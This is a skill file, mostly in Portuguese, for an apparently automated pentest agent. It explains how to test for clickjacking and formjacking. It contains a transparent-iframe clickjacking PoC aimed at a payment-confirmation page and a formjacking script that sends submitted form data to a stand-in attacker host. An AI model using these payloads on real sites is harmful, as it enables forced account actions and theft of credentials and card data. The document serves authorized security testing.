--- name: khaos-clickjacking description: Clickjacking real — embutir páginas em iframes maliciosos para forçar ações do usuário, formjacking para capturar dados de formulários e takeover de conta via clickjacking metadata: khaos: tool_ids: [httpx, nuclei] wordlist_ids: [] stages: [vuln, validation, exploitation] source_type: original source: repository: https://github.com/henriqqw/Khaos revision: internal path: internal/skillseed/catalog/khaos-clickjacking/SKILL.md license: MIT reviewed_by: Khaos maintainers review_note: Skill de clickjacking executável — permite forçar ações do usuário via iframe e capturar dados de formulários dentro do escopo.
Clickjacking e Formjacking — Ataques Reais
Objetivo
Explorar clickjacking para forçar usuários a realizar ações não intencionais (confirmar pagamento, alterar email, deletar conta, autorizar acesso) e formjacking para capturar dados de formulários (credenciais, cartões de crédito, dados pessoais) dentro do escopo.
Pré-condições
- Lista de URLs da aplicação em escopo.
- DevTools do browser para testes de iframe.
- Autorização para teste de clickjacking (authorization plan com
aggressive: true).
Procedimento Executável
1. Verificar proteção contra iframe
httpx -l urls.txt -include-response-header X-Frame-Options
httpx -l urls.txt -include-response-header Content-Security-Policy
Ausência de X-Frame-Options: DENY ou CSP: frame-ancestors 'none' = vulnerável.
2. PoC de clickjacking
Crie página HTML que embute o target em iframe transparente sobre botão iscal:
<html>
<style>
#target { position: relative; width: 800px; height: 600px; opacity: 0.05; z-index: 2; }
#decoy { position: absolute; width: 200px; height: 50px; z-index: 1; }
</style>
<div id="decoy">Clique aqui para ganhar um prêmio!</div>
<iframe id="target" src="https://target.com/confirm-payment"></iframe>
</html>
3. Forçar ações sensíveis
Identifique páginas embutíveis que permitem ações:
- Confirmar pagamento/transferência
- Alterar email/senha
- Deletar conta
- Autorizar aplicação OAuth
- Adicionar método de pagamento
4. Formjacking — scripts externos
Inspecione páginas com formulários de pagamento/dados pessoais. Liste scripts externos:
<script src="https://cdn.externo.com/js/payment.js"></script>
<script src="https://tracker.externo.com/analytics.js"></script>
Verifique integridade SRI:
<!-- Sem SRI = vulnerável a formjacking -->
<script src="https://cdn.externo.com/js/payment.js"></script>
<!-- Com SRI = protegido -->
<script src="https://cdn.externo.com/js/payment.js" integrity="sha384-..." crossorigin="anonymous"></script>
5. Injetar código malicioso via formjacking
Se conseguir modificar script externo ou injetar via XSS:
document.querySelector('form').addEventListener('submit', function(e) {
const data = new FormData(this);
fetch('https://attacker.lab/steal', { method: 'POST', body: data });
});
6. Validação de impacto
- Clickjacking com ação sensível = alto/crítico
- Clickjacking sem ação sensível = informational
- Formjacking com captura de credenciais/pagamento = crítico
Execução via ferramentas do Khaos
- httpx: detecção de cabeçalhos X-Frame-Options e CSP ausentes
- nuclei: templates de detecção de clickjacking
- Burp Suite: criação de PoC de clickjacking e teste de formjacking
- Comando arbitrário:
khaos_exec_shellpara scripts de teste automatizados
Condições de Parada
X-Frame-Options: DENYouCSP: frame-ancestors 'none'presente em todas as páginas com ações sensíveis.- Todos os scripts externos com
integritySRI e domínios confiáveis.
Referências
- OWASP Clickjacking Defense Cheat Sheet
- Magecart: Formjacking attack campaigns (Ticketmaster, British Airways, 2018)
- W3C: Subresource Integrity (SRI)
BugHunter Patterns
Patterns sourced from elementalsouls/Claude-BugHunter
What is Clickjacking
Clickjacking (UI Redressing) lets an attacker load a target page inside a transparent iframe on a malicious site. The victim sees the attacker's decoy UI but clicks the hidden target UI beneath it. No JavaScript on the target is required.
Highest-value targets:
- Login / authentication pages — force login with attacker credentials
- Money transfer / checkout / "confirm payment" buttons
- Account settings (email change, password change, 2FA disable)
- OAuth / social-login "Authorize app" confirmation dialogs
- Admin actions (delete, promote user, change role)
Protection Headers
Two mechanisms prevent framing:
X-Frame-Options: DENY # strongest — blocks all framing
X-Frame-Options: SAMEORIGIN # allows same-origin frames only
Content-Security-Policy: frame-ancestors 'none' # CSP equivalent of DENY
Content-Security-Policy: frame-ancestors 'self' # CSP equivalent of SAMEORIGIN
If NEITHER is present, the page is frameable from any origin.
How to Test
Header-absence is the trigger for investigation, not the finding. Two steps:
Step 1 — Header check (screening). Fetch the target page and inspect the response headers:
curl -sI https://target.example/account/transfer | grep -iE 'x-frame-options|content-security-policy'
If BOTH X-Frame-Options and CSP frame-ancestors are absent, the page is a candidate. If either is present and restrictive (DENY/SAMEORIGIN/frame-ancestors 'none'|'self'), stop — it's protected.
Step 2 — Prove it actually frames and clicks (required for a real finding). Build a minimal PoC and load it in a real browser:
<!doctype html>
<h1>Win a prize — click below</h1>
<iframe src="https://target.example/account/transfer"
style="opacity:0.1;position:absolute;top:0;left:0;width:1000px;height:800px"></iframe>
Confirm ALL of the following, or it is not exploitable:
- The page actually renders inside the iframe (no framebusting JS that blanks/redirects it — e.g.
if(top!==self)breakout, or aSec-Fetch-Dest/JS frame check). - The sensitive action still works while framed — critically, the action must succeed cross-site. If it relies on a session cookie set
SameSite=LaxorSameSite=Strict(the modern default), the cookie is not sent on the cross-site framed request, and the clickjack fails. Verify the victim's authenticated state carries into the frame. - The target is a state-changing action (transfer, settings/email/password change, 2FA disable, OAuth authorize, admin action), not a read-only page.
Strategy: target the most sensitive action pages first — severity scales directly with what the victim is tricked into doing.
False Positives
- Public, read-only pages (home/marketing) lacking frame protection are low/informational — no sensitive action to redress.
- APIs and non-HTML endpoints (JSON, images) are not clickjacking targets.
- Header-absence alone is NOT a finding. SameSite cookies, framebusting JS, or the lack of any sensitive framed action can each fully defeat it — which is why Step 2 is mandatory.
Proof Requirements
A valid clickjacking report shows: (1) the target page rendered inside an attacker-controlled iframe in a real browser, (2) a sensitive state-changing action reachable by a framed click while the victim is authenticated (cookies survive the cross-site context), and (3) a screenshot/recording of the overlay. Reporting missing headers with no working frame PoC is a documentation-quality issue, not a vulnerability.